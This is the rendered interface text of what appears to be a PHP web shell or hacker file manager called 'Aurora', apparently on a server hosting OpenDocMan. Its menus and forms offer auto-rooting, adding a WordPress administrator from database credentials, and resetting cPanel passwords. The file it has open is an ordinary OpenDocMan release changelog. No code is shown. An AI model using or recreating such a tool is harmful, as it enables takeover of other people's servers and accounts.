Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
var
softaculous
odm
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: changelog.txt
## [2.10.0-release](https://github.com/opendocman/opendocman/compare/v2.9.0-release...v2.10.0-release) (2026-08-27) ### Features * add documents by email (mail-in ingest, fixes [#17](https://github.com/opendocman/opendocman/issues/17)) ([#442](https://github.com/opendocman/opendocman/issues/442)) ([cc499ab](https://github.com/opendocman/opendocman/commit/cc499ab2100b3ac0d3c44db8167a50f0278357e9)) ### Bug Fixes * restore per-user profile self-edit form (regression from [#421](https://github.com/opendocman/opendocman/issues/421)) ([#441](https://github.com/opendocman/opendocman/issues/441)) ([e5043ca](https://github.com/opendocman/opendocman/commit/e5043ca45df560cae2caac96540552fe2f9ec648)) ## [2.9.0-release](https://github.com/opendocman/opendocman/compare/v2.8.0-release...v2.9.0-release) (2026-08-20) ### Features * admin-configurable default department for new registrants + unassigned-user visibility (fixes [#332](https://github.com/opendocman/opendocman/issues/332)) ([#434](https://github.com/opendocman/opendocman/issues/434)) ([b2e0863](https://github.com/opendocman/opendocman/commit/b2e086328c5622bd86f9e87a353c3bbad8ff6b70)) * notify user document is pending review after add/check-in ([#52](https://github.com/opendocman/opendocman/issues/52)) ([#426](https://github.com/opendocman/opendocman/issues/426)) ([584e389](https://github.com/opendocman/opendocman/commit/584e38954dad216f94981cc2812975a6d1546261)) * public file sharing + permission fixes and E2E suite hardening ([#423](https://github.com/opendocman/opendocman/issues/423)) ([51bc78b](https://github.com/opendocman/opendocman/commit/51bc78b2ab4e8a433da95399bc7b36222a995e7c)) * replace MD5 password hashing with bcrypt and lazy migration ([#427](https://github.com/opendocman/opendocman/issues/427)) ([d38e56b](https://github.com/opendocman/opendocman/commit/d38e56b51df643fc83d9723de1d35a05b2bc34d0)) ### Bug Fixes * include category-inherited files in listing and search ([#430](https://github.com/opendocman/opendocman/issues/430)) ([#432](https://github.com/opendocman/opendocman/issues/432)) ([9215c5e](https://github.com/opendocman/opendocman/commit/9215c5e3974fb0dc0a9a4d65b85ab3f2ef774474)) * include per-file user grants in reviewer file listing ([#321](https://github.com/opendocman/opendocman/issues/321)) ([#429](https://github.com/opendocman/opendocman/issues/429)) ([f01d5d9](https://github.com/opendocman/opendocman/commit/f01d5d9afbde0a26bc22c1d9ade0109dc028c804)) * show feedback messages in filetypes editor ([#37](https://github.com/opendocman/opendocman/issues/37)) ([#425](https://github.com/opendocman/opendocman/issues/425)) ([313bf52](https://github.com/opendocman/opendocman/commit/313bf52f9c8995017bea136ec4a20fb368a579ac)) ## [2.8.0-release](https://github.com/opendocman/opendocman/compare/v2.7.0-release...v2.8.0-release) (2026-08-11) ### Features * add admin CRUD tables for Users, Departments, and Categories ([#421](https://github.com/opendocman/opendocman/issues/421)) ([7fb59cc](https://github.com/opendocman/opendocman/commit/7fb59ccfef8aeb09a14b21997f442d9b2cab4ddc)) ### Bug Fixes * load CheckResult and CheckerInterface before RequirementChecker uses them ([#422](https://github.com/opendocman/opendocman/issues/422)) ([7ff7135](https://github.com/opendocman/opendocman/commit/7ff7135d95c88d5e5b74b41244f722e72cfa0dac)) * persist Tabulator column widths and add asset cache-busting ([255342e](https://github.com/opendocman/opendocman/commit/255342e16242ec4b76e884f9de2131bfc828d6dc)) ## [2.7.0-release](https://github.com/opendocman/opendocman/compare/v2.6.0-release...v2.7.0-release) (2026-08-07) ### Features * installer pre-flight checks and fix PDF parsing error ([#415](https://github.com/opendocman/opendocman/issues/415)) ([#418](https://github.com/opendocman/opendocman/issues/418)) ([622b328](https://github.com/opendocman/opendocman/commit/622b32814302da8110f9bee325250a447a13cc7e)) * permission inheritance design doc, implementation plan, and rename 'None' to 'Unset' across all language files ([69670af](https://github.com/opendocman/opendocman/commit/69670afac663ca82df26a217c0c287bc345ad85d)) * widen main content container to match navbar width ([#414](https://github.com/opendocman/opendocman/issues/414)) ([e9a9109](https://github.com/opendocman/opendocman/commit/e9a9109c897aaf57d60f8bcc7857b94853b007d9)) ### Bug Fixes * add cPanel PHP 8.3 handler to .htaccess for demo site compatibility ([5f7b38b](https://github.com/opendocman/opendocman/commit/5f7b38b91279dc033ce0b5993c96dc6fff3afa8a)) * correct revision history lifecycle for incoming staging ([#413](https://github.com/opendocman/opendocman/issues/413)) ([0c82042](https://github.com/opendocman/opendocman/commit/0c82042afa4dfb76bc72347ff7f6e3c56cb5762f)) * pass empty argv to migrate() in demoRefresh ([ce95837](https://github.com/opendocman/opendocman/commit/ce958376701cbf3b18c35063fc1c8c7bb9a8a2a7)) * redirect non-index pages to installer when DB has no tables ([#410](https://github.com/opendocman/opendocman/issues/410)) ([c22fa86](https://github.com/opendocman/opendocman/commit/c22fa86aa16725b75e730bdfc2d1b39424b18e44)) * restore missing popup() function for help links ([#417](https://github.com/opendocman/opendocman/issues/417)) ([2efe56e](https://github.com/opendocman/opendocman/commit/2efe56e01b735a4c8b17909b3a8ede264c69a78a)) * session_start guards, base_url trailing slash, CSRF validation, and E2E retry ([006cd22](https://github.com/opendocman/opendocman/commit/006cd22780cf8a72bd94df8b36a0e83142d70777)) * use getTokenForTemplate() instead of getToken() in content_index ([#411](https://github.com/opendocman/opendocman/issues/411)) ([d141137](https://github.com/opendocman/opendocman/commit/d141137c0c847aa7588c4984e4232e2fd861a7da))